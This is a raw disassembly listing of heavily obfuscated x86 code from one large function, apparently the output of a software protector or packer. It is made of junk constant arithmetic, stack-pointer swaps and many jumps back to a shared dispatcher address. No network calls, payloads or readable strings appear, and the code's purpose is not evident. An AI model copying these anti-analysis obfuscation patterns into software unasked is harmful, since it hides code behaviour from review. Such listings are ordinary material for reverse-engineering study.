; --------------------------------------------------------------------------- loc_5943CC: ; CODE XREF: sub_581EE9+191D4j pop [esp-6E9Ah+arg_6E92] jmp loc_5A3E5A ; --------------------------------------------------------------------------- loc_5943D4: ; CODE XREF: sub_581EE9+1803Aj push edx mov edx, 86000Ch jmp loc_596676 ; --------------------------------------------------------------------------- loc_5943DF: ; CODE XREF: sub_581EE9+13BFAj pop ecx movzx eax, al mov dx, word ptr [esp-6E9Eh+arg_6E96] jmp loc_59B4AE ; --------------------------------------------------------------------------- loc_5943EC: ; CODE XREF: sub_581EE9+1F88Fj push ebp mov ebp, 8BA6ED7h sub ebp, 8BA6ED3h add ebx, ebp push [esp-6E9Ah+arg_6E92] mov ebp, [esp-6E96h+arg_6E8E] add esp, 4 add esp, 4 sub ebx, 4 xor ebx, [esp-6E9Eh+arg_6E96] xor [esp-6E9Eh+arg_6E96], ebx jmp loc_594909 ; --------------------------------------------------------------------------- loc_594414: ; CODE XREF: sub_581EE9+21628j pop esi push edx jmp loc_5958A7 ; --------------------------------------------------------------------------- loc_59441B: ; CODE XREF: sub_581EE9+172A2j add esp, 4 push ebx push ebp push 6C0A313Ch pop ebp dec ebp add ebp, 0FFFFFFFFh push edi mov edi, 65F90CF5h xor edi, 3278426Eh jmp loc_596171 ; --------------------------------------------------------------------------- loc_59443E: ; CODE XREF: sub_581EE9+1FBCBj add esp, 4 add esi, 2CD5212Ch add esi, ecx sub esi, 2CD5212Ch mov ecx, [esp-6E9Ah+arg_6E92] add esp, 4 sub esp, 4 mov [esp-6E9Ah+arg_6E92], ebx mov ebx, 4 add esi, ebx jmp loc_598C33 ; --------------------------------------------------------------------------- loc_59446A: ; CODE XREF: sub_581EE9+10339j add esi, ecx push ebp mov ebp, 7A923BF3h and ebp, 13736C1Ah shr ebp, 1 inc ebp or ebp, 74B243AFh dec ebp jmp loc_591FAB ; --------------------------------------------------------------------------- loc_594487: ; CODE XREF: sub_581EE9+1CE25j xor dl, ch pop cx shl dl, 2 push ecx mov ch, 6Fh inc ch dec ch xor ch, 94h jmp loc_5940A1 ; --------------------------------------------------------------------------- loc_59449D: ; CODE XREF: sub_581EE9+22608j not bh neg bh sub bh, 0CFh xor dh, bh jmp loc_59932E ; --------------------------------------------------------------------------- loc_5944AB: ; CODE XREF: sub_581EE9+15DD6j push eax mov eax, 3A2B4DDFh shl eax, 2 sub eax, 0E8AD3778h add esi, eax pop eax sub esp, 4 mov [esp-6E9Eh+arg_6E96], edi sub esp, 4 mov [esp-6E9Ah+arg_6E92], esi jmp loc_5A3E06 ; --------------------------------------------------------------------------- loc_5944D0: ; CODE XREF: sub_581EE9+22103j pop edx jmp loc_597C74 ; --------------------------------------------------------------------------- loc_5944D6: ; CODE XREF: sub_581EE9+18EB3j push ebx mov ebx, 51178064h add edx, ebx jmp loc_5A5E87 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E9Ah+arg_6E92] push ecx mov ecx, esp sub esp, 4 mov [esp-6E92h+arg_6E8A], ebx sub esp, 4 mov [esp-6E8Eh+arg_6E84+2], ebp mov ebp, 3CCC6378h xor ebp, 9587327h shr ebp, 2 push edi mov edi, 66581AF0h sub edi, 5D93527Ch xor edi, 2C746A5Bh shr edi, 5 add edi, 0C3F7F02h sub ebp, edi jmp loc_59583F ; --------------------------------------------------------------------------- loc_594526: ; CODE XREF: sub_581EE9+20575j push 4E076143h pop ecx mov esi, ecx jmp loc_59E28A ; --------------------------------------------------------------------------- loc_594533: ; CODE XREF: sub_581EE9+24334j pop edx pop [esp-6E8Eh+arg_6E84+2] mov esp, [esp-6E92h+arg_6E8A] add eax, 53310945h push small word ptr [eax] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_594547: ; CODE XREF: sub_581EE9+205AEj pop ebp jmp loc_594DE7 ; --------------------------------------------------------------------------- loc_59454D: ; CODE XREF: sub_581EE9+1F910j xchg eax, [esp-6E94h+arg_6E8A+2] mov esp, [esp-6E94h+arg_6E8A+2] mov [esp-6E94h+arg_6E8A+2], ebx push 21DFh mov [esp+0], edx push 704C2A33h jmp loc_59A954 ; --------------------------------------------------------------------------- loc_594568: ; CODE XREF: sub_581EE9+13323j add ebp, 4 xchg ebp, [esp-6E8Ch+arg_6E84] pop esp push 10FAh jmp loc_59FDBA ; --------------------------------------------------------------------------- loc_594579: ; CODE XREF: sub_581EE9+16600j add ebp, edx add ebp, 45537358h pop edx xchg ebp, [esp+0] mov esp, [esp+0] push 1892h mov [esp], edi push 5381h mov [esp-6E88h+arg_6E80], esp push ebp mov ebp, 4 add [esp-6E84h+arg_6E80], ebp pop ebp mov edi, [esp-6E88h+arg_6E80] add esp, 4 push esi push eax mov eax, 4 mov esi, eax pop eax jmp loc_599241 ; --------------------------------------------------------------------------- loc_5945B8: ; CODE XREF: sub_581EE9+13EB6j sub esi, ebx sub esi, 6653E07h mov ebx, [esp-6E88h+arg_6E80] add esp, 4 add ebp, esi push [esp-6E8Ch+arg_6E84] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6E88h+arg_6E80] pop esp add ebp, 4 push ebp push [esp-6E88h+arg_6E84] jmp loc_5979C6 ; --------------------------------------------------------------------------- loc_5945E9: ; CODE XREF: sub_581EE9+17289j xor eax, 223C1C3Eh or eax, 161938F4h add eax, 1466D20h sub eax, 1763EC1Ah mov edi, eax jmp loc_597FA9 ; --------------------------------------------------------------------------- loc_594604: ; CODE XREF: sub_581EE9+16DB3j add esp, 4 jmp loc_5A1824 ; --------------------------------------------------------------------------- loc_59460F: ; CODE XREF: sub_581EE9+1ED22j xor [ebx], ebp pop ebx push [esp-6E8Ch+arg_6E84] mov ebp, [esp-6E88h+arg_6E80] add esp, 4 push ecx sub esp, 4 mov [esp-6E84h+arg_6E7C], esp add [esp-6E84h+arg_6E7C], 4 mov ecx, [esp-6E84h+arg_6E7C] add esp, 4 add ecx, 4 sub ecx, 4 xor ecx, [esp-6E88h+arg_6E80] xor [esp-6E88h+arg_6E80], ecx xor ecx, [esp-6E88h+arg_6E80] pop esp mov [esp-6E8Ch+arg_6E84], ecx jmp loc_59D6F8 ; --------------------------------------------------------------------------- loc_59464D: ; CODE XREF: sub_581EE9+1437Cj mov cl, ah pop eax mov [edi+eax*4+1], cl jmp loc_59EA51 ; --------------------------------------------------------------------------- loc_594659: ; CODE XREF: sub_581EE9+15985j push ebp mov ebp, 6581102Ah mov eax, 9A7EEFDAh add eax, ebp jmp loc_5A4DD1 ; --------------------------------------------------------------------------- loc_59466B: ; CODE XREF: sub_581EE9+11088j push eax pushf jmp loc_5A1214 ; --------------------------------------------------------------------------- loc_594672: ; CODE XREF: sub_581EE9+1F989j mov [esp-6E5Eh+arg_6E54+2], ecx jmp loc_59512C ; --------------------------------------------------------------------------- loc_59467A: ; CODE XREF: sub_581EE9+17C55j pop ebx jmp loc_598657 ; --------------------------------------------------------------------------- loc_594680: ; CODE XREF: sub_581EE9+12F72j sub [esp-6E62h+arg_6E58+2], ebx sub [esp-6E62h+arg_6E58+2], 39146643h pop ebx jmp loc_59676C ; --------------------------------------------------------------------------- loc_594690: ; CODE XREF: sub_581EE9+1CAB2j pop edi push edx jmp loc_5947D0 ; --------------------------------------------------------------------------- loc_594697: ; CODE XREF: sub_581EE9+108F9j push [esp-6EB0h+arg_6EAC] pop eax pop [esp-6EB0h+arg_6EA8] mov esp, [esp-6EB4h+arg_6EAC] push ebp mov ebp, esp sub esp, 4 mov [esp-6EACh+arg_6EA4], edx mov edx, 66001E74h jmp loc_5A33EC ; --------------------------------------------------------------------------- loc_5946B5: ; CODE XREF: sub_581EE9+1D4C0j push ecx push ebp mov ebp, 5C5E15CEh jmp loc_59FAC5 ; --------------------------------------------------------------------------- loc_5946C1: ; CODE XREF: sub_581EE9+17995j pop esi xchg eax, esi jmp loc_59C90E ; --------------------------------------------------------------------------- loc_5946C8: ; CODE XREF: sub_581EE9+11B31j add ecx, 4 push ecx jmp loc_59350C ; --------------------------------------------------------------------------- loc_5946D4: ; CODE XREF: sub_581EE9+19ACBj xchg edi, [esp] pop esp push eax push ecx push 26FA31BFh mov ecx, [esp-6E84h+arg_6E7C] add esp, 4 not ecx shr ecx, 6 push ebp mov ebp, 145866F7h add ebp, 1 push esi mov esi, 3FB50AE7h or ebp, esi jmp loc_59A91E ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E80h+arg_6E76+2] jmp loc_596BE8 ; --------------------------------------------------------------------------- loc_594709: ; CODE XREF: sub_581EE9+17FFFj push small 4DFDh mov word ptr [esp-6E7Eh+arg_6E76], dx jmp loc_595A45 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E7Eh+arg_6E76] push ebx jmp loc_5A0127 ; --------------------------------------------------------------------------- loc_594720: ; CODE XREF: sub_581EE9+249D5j xor edi, 6F1E089Ah add edi, 0BE9655BFh add esi, edi jmp loc_592043 ; --------------------------------------------------------------------------- push dword ptr [esp] push [esp-6E76h+arg_6E6E] jmp loc_59D787 ; --------------------------------------------------------------------------- loc_59473E: ; CODE XREF: sub_581EE9+1B668j push ebx jmp loc_599F3B ; --------------------------------------------------------------------------- loc_594744: ; CODE XREF: sub_581EE9+1161Ej add eax, ebx sub eax, 1CDB1BC9h push ecx mov ecx, 0ADF1CFAh add eax, ecx mov ecx, [esp-6E6Eh+arg_6E64+2] add esp, 4 push 3DB9h jmp loc_59EBA0 ; --------------------------------------------------------------------------- loc_594766: ; CODE XREF: sub_581EE9+17FF3j sub ebp, ebx pop ebx push 5D1Bh mov [esp-6E6Eh+arg_6E64+2], eax push esi mov esi, 363C73CAh mov eax, 7B9BACE2h sub eax, esi jmp loc_59E521 ; --------------------------------------------------------------------------- loc_594783: ; CODE XREF: sub_581EE9+15D4Bj pop eax sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], edx mov edx, 0B325FBC7h add ecx, edx mov edx, [esp-6E6Ah+arg_6E60+2] add esp, 4 push edx push ecx jmp loc_593E59 ; --------------------------------------------------------------------------- loc_5947A1: ; CODE XREF: sub_581EE9+195A1j add edx, 4A7063E9h mov edi, [esp-6E66h+arg_6E5C+2] add esp, 4 jmp loc_59B6A1 ; --------------------------------------------------------------------------- loc_5947B5: ; CODE XREF: sub_581EE9+1A484j add ebx, 45642E22h mov esi, [esp-6E6Ah+arg_6E60+2] add esp, 4 pop ecx xchg ebx, [esp-6E72h+arg_6E68+2] mov esp, [esp-6E72h+arg_6E68+2] mov fs:[edx], al jmp loc_59C2C0 ; --------------------------------------------------------------------------- loc_5947D0: ; CODE XREF: sub_581EE9+127A9j mov edx, esp push ecx jmp loc_59895E ; --------------------------------------------------------------------------- lodsd add eax, 79C14C93h add eax, ebx push 61C9h jmp loc_5A4EE1 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E5Eh+arg_6E54+2] push 841h mov [esp-6E5Ah+arg_6E50+2], edi push esp jmp loc_5A2C69 ; --------------------------------------------------------------------------- loc_5947FC: ; CODE XREF: sub_581EE9+250B3j mov edi, 4 add ebp, edi jmp loc_595F1C ; --------------------------------------------------------------------------- loc_594808: ; CODE XREF: sub_581EE9+17446j push ecx mov cl, 5Bh neg cl xchg ah, cl not ah xchg ah, cl or cl, 56h shl cl, 5 jmp loc_59FA04 ; --------------------------------------------------------------------------- loc_59481E: ; CODE XREF: sub_581EE9+1E190j sub esi, 23142AC8h xor esi, 62254616h jmp loc_5A3031 ; --------------------------------------------------------------------------- loc_59482F: ; CODE XREF: sub_581EE9+1EA97j push esi push ebp mov ebp, 75DC61B7h mov esi, ebp pop ebp or esi, 6B4F56A8h jmp loc_59F620 ; --------------------------------------------------------------------------- loc_594844: ; CODE XREF: sub_581EE9+2203Cj add eax, esi add eax, 23D5524Ah pop esi mov ebp, [esp-6E52h+arg_6E48+2] add esp, 4 push edi mov edi, 55EB4E8Ch jmp loc_59BF80 ; --------------------------------------------------------------------------- loc_594860: ; CODE XREF: sub_581EE9+19E09j push eax push 22A10D6Bh pop eax jmp loc_594062 ; --------------------------------------------------------------------------- loc_59486C: ; CODE XREF: sub_581EE9+21A2Dj push esi push esp jmp loc_5A7038 ; --------------------------------------------------------------------------- loc_594873: ; CODE XREF: sub_581EE9+22C5Aj mov ecx, edx jmp loc_5A16B2 ; --------------------------------------------------------------------------- loc_59487A: ; CODE XREF: sub_581EE9+1E254j mov ebx, [esp-6E46h+arg_6E3E] jmp loc_595696 ; --------------------------------------------------------------------------- loc_594882: ; CODE XREF: sub_581EE9+226B1j mov eax, [esp-6E46h+arg_6E3E] add esp, 4 mov ecx, [esp] add esp, 4 add edi, 326B1FA9h xor edi, 85CE66A5h add esi, edi mov edi, [esp-6E4Eh+arg_6E44+2] add esp, 4 sub esi, 4 jmp loc_592AE5 ; --------------------------------------------------------------------------- loc_5948B3: ; CODE XREF: sub_581EE9+1BBFBj mov edi, 51D32FEBh jmp loc_59F0C9 ; --------------------------------------------------------------------------- loc_5948BD: ; CODE XREF: sub_581EE9+12E64j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-6E4Eh+arg_6E44+2] pop esp jmp loc_5A697B ; --------------------------------------------------------------------------- loc_5948D2: ; CODE XREF: sub_581EE9+1E385j mov esp, [esp-6E52h+arg_6E48+2] mov word ptr [esp-6E52h+arg_6E48+2], cx jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5948DE: ; CODE XREF: sub_581EE9+1F1C4j add [esp-6E52h+arg_6E4C+2], 103D5823h jmp loc_59206B ; --------------------------------------------------------------------------- loc_5948EB: ; CODE XREF: sub_581EE9+163B0j pop esp jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5948F1: ; CODE XREF: sub_581EE9+1163Cj add ebx, 4 xchg ebx, [esp-6E76h+arg_6E6E] pop esp sub esp, 4 mov [esp-6E76h+arg_6E6E], ebp jmp loc_5933B6 ; --------------------------------------------------------------------------- loc_594909: ; CODE XREF: sub_581EE9+12526j xor ebx, [esp-6E9Eh+arg_6E96] jmp loc_598E54 ; --------------------------------------------------------------------------- loc_594911: ; CODE XREF: sub_581EE9+11EE2j pop eax jmp loc_5A5621 ; --------------------------------------------------------------------------- loc_594917: ; CODE XREF: sub_581EE9+18B27j push eax push 17F01412h push [esp-6E9Ah+arg_6E92] mov eax, [esp-6E96h+arg_6E8E] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6E92h+arg_6E8A] pop esp jmp loc_59EFE2 ; --------------------------------------------------------------------------- loc_59493B: ; CODE XREF: sub_581EE9+12B19j add edi, ebx add edi, 0B3A4D64h add edi, 64083784h push [esp-6E96h+arg_6E8E] pop ebx jmp loc_5965DC ; --------------------------------------------------------------------------- loc_594952: ; CODE XREF: sub_581EE9+1B960j dec word ptr [esp-6E96h+arg_6E8E] pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59495C: ; CODE XREF: sub_581EE9+208C9j mov ecx, 5641379Ah shr ecx, 2 shl ecx, 8 or ecx, 7AD15E96h jmp loc_5985AB ; --------------------------------------------------------------------------- loc_594972: ; CODE XREF: sub_581EE9+18B7Ej push edx mov edx, 42F4FF04h jmp loc_5A15A3 ; --------------------------------------------------------------------------- loc_59497D: ; CODE XREF: sub_581EE9+21A8Dj pop esi push edx mov edx, 4CCB1882h and edx, 3052491Dh jmp loc_599A0B ; --------------------------------------------------------------------------- loc_59498F: ; CODE XREF: sub_581EE9+115BFj add esp, 4 jmp loc_5941B0 ; --------------------------------------------------------------------------- loc_59499A: ; CODE XREF: sub_581EE9+1C54Cj add edx, 4 xchg edx, [esp-6E6Eh+arg_6E64+2] mov esp, [esp-6E6Eh+arg_6E64+2] push small 1905h mov word ptr [esp-6E6Ch+arg_6E64], si push edi push small 748Bh pop di shl di, 3 jmp loc_5A1220 ; --------------------------------------------------------------------------- loc_5949BE: ; CODE XREF: sub_581EE9+1EBC0j mov ecx, ebp pop ebp add esi, ecx jmp loc_5A3090 ; --------------------------------------------------------------------------- loc_5949C8: ; CODE XREF: sub_581EE9+1EBF9j mov [esp-6E6Ch+arg_6E64], eax push edx jmp loc_59A767 ; --------------------------------------------------------------------------- loc_5949D1: ; CODE XREF: sub_581EE9+25165j pop esp ror word ptr [esp-6E6Ch+arg_6E64], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5949DC: ; CODE XREF: sub_581EE9+14FFFj push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp-6E64h+arg_6E5C] jmp loc_596F54 ; --------------------------------------------------------------------------- loc_5949F6: ; CODE XREF: sub_581EE9+1A26Bj sub edi, 64083784h sub edi, 0B3A4D64h jmp loc_59493B ; --------------------------------------------------------------------------- loc_594A07: ; CODE XREF: sub_581EE9+15C6Dj pop edx push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp-6E64h+arg_6E5C] add esp, 4 xchg ecx, [esp-6E68h+arg_6E60] mov esp, [esp-6E68h+arg_6E60] push edi jmp loc_59BD0D ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E64h+arg_6E5C] push 7F32h jmp loc_59AF96 ; --------------------------------------------------------------------------- loc_594A33: ; CODE XREF: sub_581EE9+1CADFj pop ebp jmp loc_5A45C4 ; --------------------------------------------------------------------------- loc_594A39: ; CODE XREF: sub_581EE9+1B2A7j inc edi xor edi, 6C7B21A4h xor edi, 13811A4Dh add ecx, 34C4376Ah add ecx, edi sub ecx, 34C4376Ah pop edi jmp loc_59E831 ; --------------------------------------------------------------------------- loc_594A5A: ; CODE XREF: sub_581EE9+1545Ej mov edx, 6A4071E3h add eax, edx pop edx push 4A38h mov [esp-6E68h+arg_6E60], esi push 6FB8h mov [esp-6E64h+arg_6E5C], ebx jmp loc_595F95 ; --------------------------------------------------------------------------- loc_594A77: ; CODE XREF: sub_581EE9+205F4j shr edi, 1 xor edi, 9B4483F8h push 0B82h mov [esp-6E60h+arg_6E58], esi mov esi, 40237BA6h jmp loc_5A66DF ; --------------------------------------------------------------------------- loc_594A91: ; CODE XREF: sub_581EE9+1C3F3j sub edx, 280F01F6h pop ebx mov ebp, [esp-6E64h+arg_6E5C] add esp, 4 add edx, 2 xchg edx, [esp-6E68h+arg_6E60] mov esp, [esp-6E68h+arg_6E60] shr byte ptr [esp-6E68h+arg_6E60], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_594AB3: ; CODE XREF: sub_581EE9+20363j pop ebp sub ebx, 4 xor ebx, [esp-6E68h+arg_6E60] xor [esp-6E68h+arg_6E60], ebx xor ebx, [esp-6E68h+arg_6E60] pop esp mov [esp-6E6Ch+arg_6E64], ebp jmp loc_5A054B ; --------------------------------------------------------------------------- loc_594AC9: ; CODE XREF: sub_581EE9+1496Bj add esi, 4 sub esi, 4 jmp loc_59859D ; --------------------------------------------------------------------------- loc_594ADA: ; CODE XREF: sub_581EE9+19C68j sub esp, 4 mov [esp-6E68h+arg_6E60], esp jmp loc_5A359B ; --------------------------------------------------------------------------- loc_594AE8: ; CODE XREF: sub_581EE9+23C05j add esi, 4 sub esi, 4 xchg esi, [esp-6E68h+arg_6E60] jmp loc_598DF2 ; --------------------------------------------------------------------------- loc_594AFC: ; CODE XREF: sub_581EE9+17EDBj add ecx, 4 jmp loc_5A2185 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E68h+arg_6E60] jmp loc_59F685 ; --------------------------------------------------------------------------- loc_594B10: ; CODE XREF: sub_581EE9+19B95j add esi, 4 xchg esi, [esp-6E68h+arg_6E60] pop esp jmp loc_5A0C1A ; --------------------------------------------------------------------------- loc_594B1F: ; CODE XREF: sub_581EE9+1CA83j push 78F108B6h pop ebx mov edi, ebx pop ebx sub edi, 5A666FABh push edx mov edx, 7B82345Ch not edx not edx neg edx neg edx add edx, 0B2B5D1D9h add edi, edx mov edx, [esp-6E6Ch+arg_6E64] add esp, 4 add edi, 0FFFFFFFFh not edi xor edi, 2B9B6652h add edi, 0D7BF1B44h add edi, 8F9ADE2Eh add edx, edi mov edi, [esp-6E70h+arg_6E68] add esp, 4 xchg edx, [esp+0] mov esp, [esp+0] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_595E32 ; --------------------------------------------------------------------------- loc_594B89: ; CODE XREF: sub_581EE9+2380Dj add esp, 4 push edi push [esp-6E74h+arg_6E6E+2] mov edi, [esp-6E70h+arg_6E68] push edx jmp loc_5A2F5A ; --------------------------------------------------------------------------- loc_594B9A: ; CODE XREF: sub_581EE9+1143Aj mov ebp, eax jmp loc_59688E ; --------------------------------------------------------------------------- loc_594BA1: ; CODE XREF: sub_581EE9+15496j neg eax xchg eax, ecx jmp loc_592F1D ; --------------------------------------------------------------------------- loc_594BA9: ; CODE XREF: sub_581EE9+20029j xor [esp+0], ecx xor ecx, [esp+0] mov esp, [esp+0] push ebx jmp loc_5A4D3C ; --------------------------------------------------------------------------- loc_594BB8: ; CODE XREF: sub_581EE9+1D7CBj mov [esp-6E8Ch+arg_6E84], edx push ebx mov ebx, 5EDC6A2Dh shr ebx, 5 neg ebx neg ebx shr ebx, 5 jmp loc_59DA0A ; --------------------------------------------------------------------------- loc_594BD0: ; CODE XREF: sub_581EE9+1B628j and ecx, 768316Eh add ecx, 0EACB4817h add esi, ecx pop ecx sub edi, 26EA097Eh sub edi, esi push eax mov eax, 26EA097Eh add edi, eax pop eax push [esp-6E8Ch+arg_6E84] pop esi add esp, 4 inc edi or edi, 1E1E1BEFh xor edi, 0FE7FBFFDh add eax, edi jmp loc_59749C ; --------------------------------------------------------------------------- loc_594C0B: ; CODE XREF: sub_581EE9+1DAE9j push ebp push edx push ebp mov ebp, 3D1C7568h mov edx, 5CE7698h jmp loc_595D26 ; --------------------------------------------------------------------------- loc_594C1D: ; CODE XREF: sub_581EE9+232F7j mov esi, esp push edx mov edx, 4 add esi, edx pop edx jmp loc_59E440 ; --------------------------------------------------------------------------- loc_594C2D: ; CODE XREF: sub_581EE9+20875j mov edx, 49445CE3h sub edx, 2F831C9Eh push ecx mov ecx, 4C7D0C02h sub ecx, 14D03262h neg ecx shr ecx, 2 xor ecx, 7C2B00D4h add ecx, 68A427Fh xor ecx, 4062BA3h and edx, ecx jmp loc_59BCDE ; --------------------------------------------------------------------------- loc_594C62: ; CODE XREF: sub_581EE9+245CAj mov esp, [esp-6E80h+arg_6E76+2] test cx, ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_594C6E: ; CODE XREF: sub_581EE9+21538j push ebx push ebp mov ebp, 12840005h and ebp, 3A63A81h not ebp sub ebp, 91C58A89h mov ebx, ebp jmp loc_59BA12 ; --------------------------------------------------------------------------- loc_594C8A: ; CODE XREF: sub_581EE9+10270j pop edi add edi, 4 add edi, 4 xchg edi, [esp-6EA6h+arg_6E9E] jmp loc_5A1888 ; --------------------------------------------------------------------------- loc_594C9F: ; CODE XREF: sub_581EE9+23F5Aj pop edx pop dword ptr [esp-6EAAh+arg_6EA2] mov esp, [esp-6EAEh+arg_6EA4+2] add esp, 4 inc [esp-6EB2h+arg_6EA8+2] pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_594CB2: ; CODE XREF: sub_581EE9+19E25j pop edi add edi, 4 sub edi, 4 jmp loc_5928B9 ; --------------------------------------------------------------------------- loc_594CC4: ; CODE XREF: sub_581EE9+1E816j xor ecx, [esp-6EB2h+arg_6EA8+2] pop esp jmp loc_592C5C ; --------------------------------------------------------------------------- loc_594CCD: ; CODE XREF: sub_581EE9+11ECAj add esp, 4 sub al, 8Ah sub al, dh push edx sub esp, 4 jmp loc_59BEF8 ; --------------------------------------------------------------------------- loc_594CDD: ; CODE XREF: sub_581EE9+11301j mov [esp-6EA8h+arg_6E9E+2], edi sub esp, 4 push 1FA3h mov [esp-6EA0h+arg_6E96+2], esp add [esp-6EA0h+arg_6E96+2], 4 pop [esp-6EA0h+arg_6E96+2] add [esp-6EA4h+arg_6E9A+2], 4 jmp loc_5A3FF1 ; --------------------------------------------------------------------------- loc_594CFE: ; CODE XREF: sub_581EE9+1FEECj add ebx, 5F5A2064h sub ebx, edx jmp loc_593DE3 ; --------------------------------------------------------------------------- loc_594D0B: ; CODE XREF: sub_581EE9+15820j add ecx, 1C754A11h sub ecx, 5A3619Eh add ecx, eax add ecx, 5A3619Eh jmp loc_59DF9A ; --------------------------------------------------------------------------- loc_594D24: ; CODE XREF: sub_581EE9+1B461j pop eax add esi, edx jmp loc_595E3D ; --------------------------------------------------------------------------- loc_594D2C: ; CODE XREF: sub_581EE9+1A6DAj xchg ebp, [esp-6EA8h+arg_6E9E+2] pop esp mov [esp-6EACh+arg_6EA4], esp add [esp-6EACh+arg_6EA4], 4 jmp loc_5A2DC5 ; --------------------------------------------------------------------------- loc_594D3F: ; CODE XREF: sub_581EE9+134F0j pop esi push ebp jmp loc_5A31A5 ; --------------------------------------------------------------------------- loc_594D46: ; CODE XREF: sub_581EE9+1807Dj pop ecx add ecx, 4 jmp loc_5948BD ; --------------------------------------------------------------------------- loc_594D52: ; CODE XREF: sub_581EE9+19976j add ebx, 2 xchg ebx, [esp-6EB0h+arg_6EA8] mov esp, [esp-6EB0h+arg_6EA8] sar word ptr [esp-6EB0h+arg_6EA8], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_594D65: ; CODE XREF: sub_581EE9+1E9B8j pop ecx add esp, 4 add esi, edx jmp loc_599B4B ; --------------------------------------------------------------------------- loc_594D70: ; CODE XREF: sub_581EE9+1A433j add ebp, eax mov eax, [esp-6EB4h+arg_6EAC] add esp, 4 jmp loc_5A1421 ; --------------------------------------------------------------------------- loc_594D80: ; CODE XREF: sub_581EE9+13EDEj add esp, 4 xor dl, 0D1h push eax push ecx mov cl, 0AFh push dx mov dh, 31h xor cl, dh jmp loc_59592C ; --------------------------------------------------------------------------- loc_594D98: ; CODE XREF: sub_581EE9+15EC8j add esp, 4 sub ebx, 16C735ECh add ebx, eax push 5AD6h mov [esp-6EB2h+arg_6EA8+2], eax sub esp, 4 mov [esp-6EAEh+arg_6EA4+2], ecx push 3B0E6D58h jmp loc_596503 ; --------------------------------------------------------------------------- loc_594DBE: ; CODE XREF: sub_581EE9+14A46j push ebp push dword ptr [esp-6EA6h+arg_6EA2] jmp loc_599A02 ; --------------------------------------------------------------------------- loc_594DC8: ; CODE XREF: sub_581EE9+1375Cj add ebx, 4 add ebx, 4 xchg ebx, [esp-6EA2h+arg_6E9A] jmp loc_5A001D ; --------------------------------------------------------------------------- loc_594DDC: ; CODE XREF: sub_581EE9+1E1F9j sub ebx, 0E6B51FC0h jmp loc_599BFB ; --------------------------------------------------------------------------- loc_594DE7: ; CODE XREF: sub_581EE9+1265Fj add edi, eax mov eax, [esp-6E94h+arg_6E8A+2] jmp loc_59E066 ; --------------------------------------------------------------------------- loc_594DF1: ; CODE XREF: sub_581EE9+19011j push edx mov edx, esp jmp loc_59E450 ; --------------------------------------------------------------------------- loc_594DF9: ; CODE XREF: sub_581EE9+14AF2j mov ebp, 0FFFFFFFFh add ecx, ebp pop ebp add ecx, 0F079A1A9h and edi, ecx pop ecx xor edi, 63E73379h inc edi jmp loc_5935B1 ; --------------------------------------------------------------------------- loc_594E16: ; CODE XREF: sub_581EE9+105FFj add edx, 4 jmp loc_5A11C5 ; --------------------------------------------------------------------------- loc_594E21: ; CODE XREF: sub_581EE9+18ED5j inc ecx jmp loc_592F7C ; --------------------------------------------------------------------------- loc_594E27: ; CODE XREF: sub_581EE9+23628j add edi, 0B5B6D0E2h mov ebp, edi push [esp-6EA4h+arg_6E9A+2] mov edi, [esp-6EA0h+arg_6E96+2] add esp, 4 jmp loc_59CD44 ; --------------------------------------------------------------------------- loc_594E3D: ; CODE XREF: sub_581EE9+11D35j add eax, 1E8C58CBh push ecx push ebx mov ebx, 38E75DFAh add ebx, 49C20CC1h push 0 add [esp-6E6Ah+arg_6E60+2], 39146643h jmp loc_594680 ; --------------------------------------------------------------------------- loc_594E60: ; CODE XREF: sub_581EE9+10D41j mov [esp-6E7Eh+arg_6E76], eax jmp loc_59E2A1 ; --------------------------------------------------------------------------- loc_594E68: ; CODE XREF: sub_581EE9+15680j xor ebx, 69342247h mov ecx, ebx mov ebx, [esp-6E7Eh+arg_6E76] jmp loc_597E79 ; --------------------------------------------------------------------------- loc_594E78: ; CODE XREF: sub_581EE9+1FE75j push 6090h mov [esp-6E7Ah+arg_6E72], edx sub esp, 4 mov [esp-6E76h+arg_6E6E], ebx mov ebx, 7C661395h mov edx, 6C871357h jmp loc_59BE42 ; --------------------------------------------------------------------------- loc_594E98: ; CODE XREF: sub_581EE9+204B5j pop esp push ebx mov ebx, 20600F21h shr ebx, 4 inc ebx sub ebx, 20600EFh add eax, ebx mov ebx, [esp-6E76h+arg_6E6E] jmp loc_59D322 ; --------------------------------------------------------------------------- loc_594EB3: ; CODE XREF: sub_581EE9+239FDj neg ebp xor ebp, 3FFDDD2Bh xor ebx, ebp pop ebp add edi, ebx pop ebx jmp loc_59F7CB ; --------------------------------------------------------------------------- loc_594EC6: ; CODE XREF: sub_581EE9+1463Dj mov esi, [esp-6E7Eh+arg_6E76] jmp loc_5A3658 ; --------------------------------------------------------------------------- loc_594ECE: ; CODE XREF: sub_581EE9+23DB0j mov [esp-6E7Eh+arg_6E76], ecx push esp pop ecx add ecx, 4 sub ecx, 4 jmp loc_5A53D4 ; --------------------------------------------------------------------------- loc_594EE4: ; CODE XREF: sub_581EE9+1E480j mov ebx, [esp-6E7Eh+arg_6E76] add esp, 4 jmp loc_5A45DF ; --------------------------------------------------------------------------- loc_594EF2: ; CODE XREF: sub_581EE9+18A30j add esp, 4 add ebx, ecx pop ecx sub ebx, 4 push ebx jmp loc_59B5FA ; --------------------------------------------------------------------------- loc_594F07: ; CODE XREF: sub_581EE9+1F7B6j pop esi dec eax 